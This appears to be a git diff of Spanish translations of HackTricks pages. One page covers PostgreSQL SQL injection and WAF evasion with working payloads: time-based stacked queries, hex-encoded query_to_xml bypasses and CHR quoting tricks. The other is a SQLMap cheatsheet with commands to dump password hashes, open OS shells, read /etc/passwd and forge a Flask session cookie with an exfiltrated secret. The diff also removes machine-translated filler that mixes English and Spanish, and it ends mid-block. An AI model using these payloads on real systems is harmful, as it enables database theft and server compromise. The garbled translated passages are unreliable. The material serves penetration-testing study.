[Puedes leer aquí cómo realizar estos ataques.](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
||||
**`dblink`** es un **módulo de PostgreSQL** que ofrece varias opciones interesantes desde el punto de vista del atacante. Se puede utilizar para **conectar a otras instancias de PostgreSQL** o realizar **conexiones TCP**.\
|
||||
**Estas funcionalidades** junto con la funcionalidad **`COPY FROM`** pueden ser utilizadas para **escalar privilegios**, realizar **escaneo de puertos** o capturar **respuestas de desafío NTLM**.\
|
||||
[**Puedes leer aquí cómo realizar estos ataques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
||||
|
||||
### Ejemplo de exfiltración utilizando dblink y objetos grandes
|
||||
### **Ejemplo de exfiltración usando dblink y objetos grandes**
|
||||
|
||||
Puedes [leer este ejemplo](dblink-lo\_import-data-exfiltration.md) para ver un ejemplo de CTF de **cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de los objetos grandes dentro del nombre de usuario** de la función `dblink_connect`.
|
||||
Puedes [**leer este ejemplo**](dblink-lo_import-data-exfiltration.md) para ver un ejemplo de CTF de **cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario** de la función `dblink_connect`.
|
||||
|
||||
## Ataques en PostgreSQL: lectura/escritura, RCE, escalada de privilegios
|
||||
## Ataques en PostgreSQL: Lectura/escritura, RCE, privesc
|
||||
|
||||
Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
|
||||
|
||||
|
@ -39,16 +41,16 @@ Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
|
|||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypass de WAF
|
||||
## Evasión de WAF
|
||||
|
||||
### Funciones de cadena de PostgreSQL
|
||||
|
||||
Manipular cadenas podría ayudarte a **burlar WAFs u otras restricciones**.\
|
||||
[**En esta página**](https://www.postgresqltutorial.com/postgresql-string-functions/) **puedes encontrar algunas funciones útiles de cadenas**.
|
||||
Manipular cadenas podría ayudarte a **evadir WAFs u otras restricciones**.\
|
||||
[**En esta página**](https://www.postgresqltutorial.com/postgresql-string-functions/) **puedes encontrar algunas funciones de cadenas útiles.**
|
||||
|
||||
### Consultas apiladas
|
||||
|
||||
Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones mostrarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
|
||||
Recuerda que postgresql soporta consultas apiladas, pero varias aplicaciones arrojarán un error si se devuelven 2 respuestas cuando solo se espera 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -57,19 +59,19 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si quieres volcar una gran cantidad de datos en solo una fila:
|
||||
Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si quieres volcar una gran cantidad de datos en solo 1 fila:
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande, ya que podrías provocar un ataque de denegación de servicio o incluso afectar a tu propio cliente):
|
||||
Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande ya que podrías causar un DoS o incluso afectar a tu propio cliente):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Cadenas en Hexadecimal
|
||||
|
||||
Si puedes ejecutar **consultas** pasándolas **dentro de una cadena** (por ejemplo, utilizando la función **`query_to_xml`**), **puedes usar `convert_from` para pasar la cadena como hexadecimal y así evadir los filtros de esta manera:**
|
||||
Si puedes ejecutar **consultas** pasándolas **dentro de una cadena** (por ejemplo, utilizando la función **`query_to_xml`**). **Puedes usar convert\_from para pasar la cadena como hexadecimal y así evitar filtros:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```sql
|
||||
|
@ -81,11 +83,13 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
# Bypass via boolean + error based + query_to_xml with hex
|
||||
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
### Comillas prohibidas
|
||||
|
||||
Si no puedes usar comillas en tu carga útil, puedes evitar esto utilizando `CHR` para cláusulas básicas (la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las declaraciones SQL):
|
||||
Si no puedes usar comillas para tu payload, puedes sortear esto con `CHR` para cláusulas básicas (_la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las sentencias SQL_):
|
||||
```
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
@ -95,19 +99,23 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: ¡**regístrate** en **Intigriti**, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
```markdown
|
||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma de cazar recompensas premium **creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta ser un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# SQLMap - Cheatsheet
|
||||
# SQLMap - Hoja de Trucos
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) que lleva más de una década y se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de alto contenido técnico donde se presentan las últimas investigaciones en español y atrae a hackers e investigadores de todo el mundo.
|
||||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
@ -39,9 +41,9 @@
|
|||
--proxy=http://127.0.0.1:8080
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
#### Obtener Información
|
||||
### Recuperar Información
|
||||
|
||||
##### Interna
|
||||
#### Interna
|
||||
```bash
|
||||
--current-user #Get current user
|
||||
--is-dba #Check if current user is Admin
|
||||
|
@ -50,9 +52,7 @@
|
|||
--passwords #Get passwords of users in DB
|
||||
--privileges #Get privileges
|
||||
```
|
||||
#### Datos de la base de datos
|
||||
|
||||
The database contains sensitive information that can be valuable to an attacker. This information can include usernames, passwords, personal details, financial data, and more. It is important to protect this data from unauthorized access and potential leaks. In the context of a penetration test, accessing and extracting data from the database can provide valuable insights into the target system's security vulnerabilities.
|
||||
#### Datos de la DB
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
|
@ -63,100 +63,22 @@ The database contains sensitive information that can be valuable to an attacker.
|
|||
```
|
||||
## Lugar de inyección
|
||||
|
||||
### Desde la captura de Burp/ZAP
|
||||
### Desde captura de Burp/ZAP
|
||||
|
||||
Captura la solicitud y crea un archivo req.txt
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
### Inyección en solicitudes GET
|
||||
|
||||
La inyección en solicitudes GET es una técnica común utilizada en pruebas de penetración para explotar vulnerabilidades de seguridad en aplicaciones web. Esta técnica implica manipular los parámetros de una solicitud GET para ejecutar comandos SQL maliciosos en la base de datos subyacente.
|
||||
|
||||
#### ¿Cómo funciona?
|
||||
|
||||
Cuando se envía una solicitud GET a un servidor web, los parámetros se incluyen en la URL. Estos parámetros se pueden manipular para insertar código SQL malicioso. El servidor web procesa la solicitud y ejecuta el código SQL sin validar o filtrar adecuadamente los datos ingresados. Esto permite al atacante extraer información confidencial, modificar datos o incluso tomar el control total de la base de datos.
|
||||
|
||||
#### Uso de SQLMap
|
||||
|
||||
SQLMap es una herramienta popular utilizada para automatizar la detección y explotación de vulnerabilidades de inyección SQL. Puede ayudar a identificar fácilmente las vulnerabilidades de inyección en solicitudes GET y realizar ataques de inyección SQL de manera eficiente.
|
||||
|
||||
Para utilizar SQLMap en solicitudes GET, simplemente proporcione la URL de destino y especifique los parámetros que desea probar. SQLMap analizará automáticamente la URL y los parámetros, y realizará pruebas exhaustivas para detectar y explotar posibles vulnerabilidades de inyección SQL.
|
||||
|
||||
#### Precauciones
|
||||
|
||||
Es importante tener en cuenta que la inyección en solicitudes GET puede tener consecuencias graves y potencialmente dañinas. Antes de realizar pruebas de penetración en aplicaciones web, asegúrese de tener el permiso adecuado del propietario del sistema y siga las mejores prácticas de ética y seguridad.
|
||||
### Inyección en peticiones GET
|
||||
```bash
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### Inyección en solicitudes POST
|
||||
|
||||
When performing a penetration test, it is common to encounter web applications that use POST requests to send data to the server. In these cases, it is important to understand how to perform SQL injection attacks on POST requests.
|
||||
|
||||
Durante la realización de una prueba de penetración, es común encontrarse con aplicaciones web que utilizan solicitudes POST para enviar datos al servidor. En estos casos, es importante entender cómo realizar ataques de inyección SQL en solicitudes POST.
|
||||
|
||||
SQLMap is a powerful tool that can automate the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques for injecting SQL queries into POST requests.
|
||||
|
||||
SQLMap es una herramienta poderosa que puede automatizar el proceso de detección y explotación de vulnerabilidades de inyección SQL. Soporta varias técnicas para inyectar consultas SQL en solicitudes POST.
|
||||
|
||||
To use SQLMap with POST requests, you need to provide the target URL and the parameters that are sent in the POST request. SQLMap will then analyze the parameters and attempt to inject SQL queries into them.
|
||||
|
||||
Para utilizar SQLMap con solicitudes POST, debes proporcionar la URL objetivo y los parámetros que se envían en la solicitud POST. SQLMap analizará los parámetros e intentará inyectar consultas SQL en ellos.
|
||||
|
||||
Here is an example command to use SQLMap with a POST request:
|
||||
|
||||
Aquí tienes un ejemplo de comando para utilizar SQLMap con una solicitud POST:
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/login" --data "username=admin&password=pass" --method POST
|
||||
```
|
||||
|
||||
In this example, we specify the target URL as `http://example.com/login` and the parameters as `username=admin&password=pass`. The `--method POST` flag tells SQLMap to use a POST request.
|
||||
|
||||
En este ejemplo, especificamos la URL objetivo como `http://example.com/login` y los parámetros como `username=admin&password=pass`. La opción `--method POST` indica a SQLMap que utilice una solicitud POST.
|
||||
|
||||
SQLMap will then analyze the parameters and attempt to inject SQL queries into them. It will automatically detect any SQL injection vulnerabilities and exploit them if found.
|
||||
|
||||
SQLMap analizará los parámetros e intentará inyectar consultas SQL en ellos. Detectará automáticamente cualquier vulnerabilidad de inyección SQL y la explotará si se encuentra.
|
||||
|
||||
Using SQLMap with POST requests can be a powerful technique for identifying and exploiting SQL injection vulnerabilities in web applications. However, it is important to use this technique responsibly and with proper authorization.
|
||||
|
||||
Utilizar SQLMap con solicitudes POST puede ser una técnica poderosa para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Sin embargo, es importante utilizar esta técnica de manera responsable y con la debida autorización.
|
||||
### Inyección en Solicitudes POST
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
### Inyecciones en Encabezados y otros Métodos HTTP
|
||||
|
||||
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in all areas of the application, including the headers and other HTTP methods. Injections in headers and other HTTP methods can be just as dangerous as traditional SQL injections or other common vulnerabilities.
|
||||
|
||||
Cuando se realiza una prueba de penetración en una aplicación web, es importante probar exhaustivamente las vulnerabilidades en todas las áreas de la aplicación, incluyendo los encabezados y otros métodos HTTP. Las inyecciones en los encabezados y otros métodos HTTP pueden ser tan peligrosas como las inyecciones SQL tradicionales u otras vulnerabilidades comunes.
|
||||
|
||||
#### Header Injection
|
||||
|
||||
Header injection occurs when an attacker is able to manipulate the headers of an HTTP request. This can be done by injecting malicious input into user-controlled headers, such as the `User-Agent` or `Referer` headers. The injected input can be used to perform various attacks, such as cross-site scripting (XSS) or cross-site request forgery (CSRF).
|
||||
|
||||
La inyección en los encabezados ocurre cuando un atacante es capaz de manipular los encabezados de una solicitud HTTP. Esto se puede hacer mediante la inyección de entrada maliciosa en los encabezados controlados por el usuario, como los encabezados `User-Agent` o `Referer`. La entrada inyectada se puede utilizar para realizar varios ataques, como cross-site scripting (XSS) o cross-site request forgery (CSRF).
|
||||
|
||||
To test for header injection vulnerabilities, you can use tools like Burp Suite or manually craft HTTP requests with modified headers. By injecting payloads and observing the application's response, you can determine if the application is vulnerable to header injection attacks.
|
||||
|
||||
Para probar las vulnerabilidades de inyección en los encabezados, puedes utilizar herramientas como Burp Suite o crear manualmente solicitudes HTTP con encabezados modificados. Al inyectar cargas útiles y observar la respuesta de la aplicación, puedes determinar si la aplicación es vulnerable a los ataques de inyección en los encabezados.
|
||||
|
||||
#### Other HTTP Methods
|
||||
|
||||
In addition to the commonly used HTTP methods like GET and POST, there are other less known methods that can also be vulnerable to injection attacks. These methods include PUT, DELETE, OPTIONS, and TRACE.
|
||||
|
||||
Además de los métodos HTTP comúnmente utilizados como GET y POST, hay otros métodos menos conocidos que también pueden ser vulnerables a ataques de inyección. Estos métodos incluyen PUT, DELETE, OPTIONS y TRACE.
|
||||
|
||||
When testing for vulnerabilities in these methods, it is important to check if the application properly sanitizes and validates user input. By injecting payloads into the request body or parameters, you can determine if the application is vulnerable to injection attacks.
|
||||
|
||||
Al probar las vulnerabilidades en estos métodos, es importante verificar si la aplicación sanitiza y valida correctamente la entrada del usuario. Al inyectar cargas útiles en el cuerpo de la solicitud o en los parámetros, puedes determinar si la aplicación es vulnerable a ataques de inyección.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Injections in headers and other HTTP methods can lead to serious security vulnerabilities in web applications. It is crucial to thoroughly test for these vulnerabilities during a penetration test to ensure the application's security.
|
||||
|
||||
Las inyecciones en los encabezados y otros métodos HTTP pueden llevar a graves vulnerabilidades de seguridad en las aplicaciones web. Es crucial probar exhaustivamente estas vulnerabilidades durante una prueba de penetración para garantizar la seguridad de la aplicación.
|
||||
```bash
|
||||
#Inside cookie
|
||||
sqlmap -u "http://example.com" --cookie "mycookies=*"
|
||||
|
@ -171,44 +93,16 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
#The injection is located at the '*'
|
||||
```
|
||||
### Indicar cadena cuando la inyección es exitosa
|
||||
|
||||
When performing SQL injection attacks, it is important to determine whether the injection was successful or not. One way to do this is by indicating a specific string that will be displayed when the injection is successful.
|
||||
|
||||
To achieve this, you can use the `--string` option in SQLMap. This option allows you to specify a string that should be present in the response when the injection is successful.
|
||||
|
||||
For example, let's say you are injecting into a login form and you want to check if the injection was successful by looking for the string "Welcome, admin!" in the response. You can use the following command:
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --string "Welcome, admin!"
|
||||
```
|
||||
|
||||
SQLMap will send the injection payload to the specified URL and check if the response contains the specified string. If the string is found, it means that the injection was successful.
|
||||
|
||||
By indicating a specific string, you can easily identify when the injection is working and proceed with further exploitation or testing.
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada carga útil antes de enviarla con un comando de una sola línea en Python. Esto facilita y agiliza el procesamiento personalizado de la carga útil antes de enviarla. En el siguiente ejemplo, la **sesión de cookies de Flask** **es firmada por Flask con el secreto conocido antes de enviarla**:
|
||||
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada payload antes de enviarlo con una línea de código Python. Esto facilita y acelera el procesamiento del payload de maneras personalizadas antes de enviarlo. En el siguiente ejemplo, la **sesión de cookie de flask** **se firma con el secreto conocido antes de enviarla**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Shell
|
||||
|
||||
La opción `--shell` de SQLMap permite obtener una shell interactiva en el sistema objetivo después de explotar una inyección de SQL exitosa. Esto proporciona un control total sobre el sistema y permite ejecutar comandos arbitrarios.
|
||||
|
||||
Para utilizar esta opción, primero debes asegurarte de que SQLMap ha identificado una vulnerabilidad de inyección de SQL en el objetivo. Una vez que se haya confirmado la vulnerabilidad, puedes ejecutar el siguiente comando para obtener una shell:
|
||||
|
||||
```
|
||||
sqlmap -u <URL> --os-shell
|
||||
```
|
||||
|
||||
Reemplaza `<URL>` con la URL del objetivo que contiene la vulnerabilidad de inyección de SQL.
|
||||
|
||||
Después de ejecutar este comando, SQLMap intentará obtener una shell en el sistema objetivo. Si tiene éxito, se abrirá una shell interactiva donde podrás ejecutar comandos como si estuvieras directamente en el sistema.
|
||||
|
||||
Es importante tener en cuenta que el uso de la opción `--shell` puede ser ilegal y está sujeto a las leyes y regulaciones locales. Solo debes utilizar esta opción en sistemas en los que tengas permiso explícito para hacerlo, como parte de una prueba de penetración autorizada.
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
|
@ -220,43 +114,10 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
|||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
### Leer archivo
|
||||
|
||||
La opción `--file-read` de SQLMap se utiliza para leer archivos del sistema de archivos del servidor de la base de datos. Esta opción es útil para extraer información confidencial almacenada en archivos, como credenciales de bases de datos o archivos de configuración.
|
||||
|
||||
#### Sintaxis
|
||||
|
||||
```
|
||||
--file-read=<ruta_del_archivo>
|
||||
```
|
||||
|
||||
#### Ejemplo
|
||||
|
||||
```
|
||||
sqlmap -u "http://example.com/vulnerable.php?id=1" --file-read=/etc/passwd
|
||||
```
|
||||
|
||||
En el ejemplo anterior, SQLMap intentará leer el archivo `/etc/passwd` del sistema de archivos del servidor de la base de datos. Si tiene éxito, mostrará el contenido del archivo en la salida.
|
||||
|
||||
Es importante tener en cuenta que esta opción solo funcionará si el servidor de la base de datos tiene permisos para leer el archivo especificado. Además, el usuario que ejecuta SQLMap también debe tener los permisos adecuados para leer archivos en el sistema de archivos del servidor.
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Rastrear un sitio web con SQLmap y autoexplotar
|
||||
|
||||
SQLmap es una herramienta de prueba de penetración ampliamente utilizada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Una de las características más poderosas de SQLmap es su capacidad para rastrear automáticamente un sitio web en busca de posibles puntos de inyección SQL y luego explotarlos de manera automática.
|
||||
|
||||
Para rastrear un sitio web con SQLmap, sigue estos pasos:
|
||||
|
||||
1. Descarga e instala SQLmap en tu máquina.
|
||||
2. Abre una terminal y navega hasta el directorio donde se encuentra SQLmap.
|
||||
3. Ejecuta el comando `sqlmap -u <URL>` para especificar la URL del sitio web que deseas rastrear.
|
||||
4. SQLmap comenzará a rastrear el sitio web en busca de posibles puntos de inyección SQL. Esto puede llevar algún tiempo dependiendo del tamaño y la complejidad del sitio web.
|
||||
5. Una vez que SQLmap haya encontrado un punto de inyección SQL, te mostrará la información relevante sobre la vulnerabilidad.
|
||||
6. Puedes utilizar la opción `--dbs` para enumerar las bases de datos disponibles en el servidor y `--tables -D <nombre_de_la_base_de_datos>` para enumerar las tablas de una base de datos específica.
|
||||
7. Para explotar la vulnerabilidad de inyección SQL, utiliza la opción `--dump -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla>` para extraer datos de una tabla específica.
|
||||
8. SQLmap también ofrece muchas otras opciones y funcionalidades avanzadas que puedes explorar según tus necesidades.
|
||||
|
||||
Recuerda que el uso de SQLmap en un sitio web sin permiso explícito del propietario es ilegal y puede tener consecuencias legales graves. Siempre realiza pruebas de penetración en entornos controlados y con el consentimiento del propietario del sitio web.
|
||||
### Rastrear un sitio web con SQLmap y auto-explotar
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
|
@ -265,43 +126,19 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
|||
--forms = Parse and test forms
|
||||
```
|
||||
### Inyección de Segundo Orden
|
||||
|
||||
Second Order Injection is a type of SQL injection attack that occurs when user input is not directly vulnerable to SQL injection, but is stored in a database and later used in a vulnerable SQL query. This allows an attacker to manipulate the stored data in a way that can lead to unauthorized access or data leakage.
|
||||
|
||||
La Inyección de Segundo Orden es un tipo de ataque de inyección SQL que ocurre cuando la entrada del usuario no es directamente vulnerable a la inyección SQL, pero se almacena en una base de datos y luego se utiliza en una consulta SQL vulnerable. Esto permite a un atacante manipular los datos almacenados de una manera que puede llevar a un acceso no autorizado o una filtración de datos.
|
||||
|
||||
To exploit a second order injection vulnerability, an attacker typically needs to perform the following steps:
|
||||
|
||||
Para explotar una vulnerabilidad de inyección de segundo orden, un atacante típicamente necesita realizar los siguientes pasos:
|
||||
|
||||
1. Identify a point in the application where user input is stored in a database.
|
||||
2. Determine how the stored data is later used in a SQL query.
|
||||
3. Craft a malicious payload that, when executed in the vulnerable SQL query, can manipulate the stored data in a way that achieves the attacker's goals.
|
||||
|
||||
1. Identificar un punto en la aplicación donde la entrada del usuario se almacena en una base de datos.
|
||||
2. Determinar cómo se utiliza posteriormente los datos almacenados en una consulta SQL.
|
||||
3. Crear una carga útil maliciosa que, cuando se ejecuta en la consulta SQL vulnerable, puede manipular los datos almacenados de una manera que logre los objetivos del atacante.
|
||||
|
||||
To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. SQLMap is a popular open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
|
||||
|
||||
Para detectar y explotar vulnerabilidades de inyección de segundo orden, se pueden utilizar herramientas como SQLMap. SQLMap es una popular herramienta de prueba de penetración de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL.
|
||||
|
||||
It is important for developers and security professionals to be aware of second order injection vulnerabilities and take appropriate measures to prevent them. This includes validating and sanitizing user input, using parameterized queries or prepared statements, and regularly updating and patching software to address any known vulnerabilities.
|
||||
|
||||
Es importante que los desarrolladores y profesionales de seguridad estén conscientes de las vulnerabilidades de inyección de segundo orden y tomen medidas apropiadas para prevenirlas. Esto incluye validar y sanitizar la entrada del usuario, utilizar consultas parametrizadas o declaraciones preparadas, y actualizar y parchar regularmente el software para abordar cualquier vulnerabilidad conocida.
|
||||
```bash
|
||||
